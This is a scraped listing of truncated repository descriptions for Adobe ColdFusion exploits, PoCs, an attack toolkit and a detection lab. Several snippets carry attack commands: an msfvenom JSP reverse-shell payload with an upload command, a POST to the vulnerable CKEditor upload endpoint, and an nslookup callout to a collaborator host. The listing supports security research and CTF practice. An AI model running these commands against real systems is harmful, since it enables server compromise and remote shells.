CVE-2023-26360-adobe-coldfusion-rce-exploit

Critical vulnerabilities in Adobe Coldfusion CVE-2023-26359, CVE-2023-26360 and CVE-2023-26359 On March 8, 2023, Adobe released security updates to address critical vulnerabilities in Adobe ColdFusion, a popular web application development platform. These vulnerabilities, classified as improper...

CVE-2026-48282-coldfusion-rds-detection

CVE-2026-48282 — Adobe ColdFusion RDS Validation and Detection Laboratory validation of CVE-2026-48282 in Adobe ColdFusion Remote Development Services RDS, focused on technical evidence, event reconstruction, and defensive detection opportunities. The repository documents a controlled test in whi...

CVE-2024-20767

Proof of Concept script for CVE-2024-20767 Overview get-the-files.py is a Python script that exploits a vulnerability in Adobe ColdFusion Servers CVE-2024-20767 to read files from the server. The script is based on a method outlined at https://jeva.cc/2973.html. Disclaimer This script is provided...

clusterd

clusterd clusterd is an open source application server attack toolkit. Born out of frustration with current fingerprinting and exploitation methods, clusterd automates the fingerprinting, reconnaissance, and exploitation phases of an application server attack. See the wiki for more information...

CVE-2009-2265-fix

CVE-2009-2265 - Adobe ColdFusion RCE Unauthenticated remote code execution via arbitrary file upload in the FCKeditor component bundled with ColdFusion. The file upload endpoint accepts a null-byte injection in the filename parameter, allowing a JSP webshell to be uploaded and executed directly b...

zaphoxx-coldfusion

zaphoxx-coldfusion coldfusion exploit based on https://cvedetails.com/cve/CVE-2009-2265/ The main reason I setup a python script for this particular cve was that the metasploit version of the same did not work for me when I tried to solve the HTB machine Arctic. Also it was nice to get some littl...

Adobe_ColdFusion_RCE_Unauthenticated

CVE-2023-26360 — Adobe ColdFusion Unauthenticated RCE Python implementation of the remote code execution exploit for CVE-2023-26360, based on analysis of the original Metasploit module and the prior work by jakabakos. Why this exists The jakabakos PoC attempts to inject directly into the variable...

CVE-2018-15961

CVE-2018-15961 Unrestricted file upload in Adobe ColdFusion POST /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 Host: coldfusion:port User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/62.0.3202.9 Safari/537.36 Content-Type:...

CVE-2009-2265

cf8-upload.py ⭐ a python3 script to exploit CVE-2009-2265. the exploit - CVE-2009-2265 ❗ the script exploits a vulnerability found in FCKeditor 2.6.4.1 which was implemented into adobe coldfusion 8.0.1: https://vulners.com/cve/CVE-2009-2265 the script allows the user to submit a file to upload to...

CVE-2024-20767-Adobe-ColdFusion

CVE-2024-20767-Adobe-ColdFusion Adobe ColdFusion is a rapid development platform for building and deploying web and mobile applications. CVE-2024-20767 - ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file syst...

coldfusion-10-11-xss

ColdFusion 10.x 11.x XSS - RCE PoC Exploits This repo contains XSS vectors for CVE-2015-0345 APSB15-07 that allow for the ability to gain remote command execution on ColdFusion installations. This exploit is only valid for ColdFusion 10 and 11 installations. Specifically, ColdFusion 11, Update 11...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - Remote Command Execution RCE Exploit Overview This exploit targets a known vulnerability in Adobe ColdFusion 8 CVE-2009-2265. It enables remote command execution RCE by uploading a malicious JSP payload that establishes a reverse shell connection. Exploit Details CVE :...

CVE-2009-2265

Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Example :...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE This repository contains my exploit code for the RCE vulnerability in Adobe ColdFusion 2021. Exploit Description The exploit sends a POST request containing a JSP reverse shell to /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. If successfull...

ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360 Vulnerability Exploitation Reverse Shell Tool Introduction The vulnerability principle is that when we construct CFML data, the client's request data is saved to the server's coldfusion-out.log. This directory records error information from requests. The...

coldfusion-amf

coldfusion-amf Coldfusion AMF PWN pwn http://localhost "nslookup burpcollab.net"...

CVE-2024-20767

CVE-2024-20767 CVE-2024-20767 - Arbitrary file system read using an Improper Access Control vulnerability in Adobe ColdFusion Please refer to ma4ter blogpost for more information: Adobe ColdFusion任意文件读取漏洞CVE-2024-20767分析 Products and Versions affected: Product| Affected Versions ---|--- ColdFusio...

Adobe Coldfusion - Cross-Site Scripting

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by a reflected Cross-Site Scripting XSS vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within th...

Adobe Coldfusion <=8.0.1 - Cross-Site Scripting

Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via 1 the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to 2 wizards/common/logintowizard.cfm, 3...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE This repository contains my exploit code for the RCE vulnerability in Adobe ColdFusion 2018. Exploit Description The exploit sends a POST request containing a JSP reverse shell to /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. If...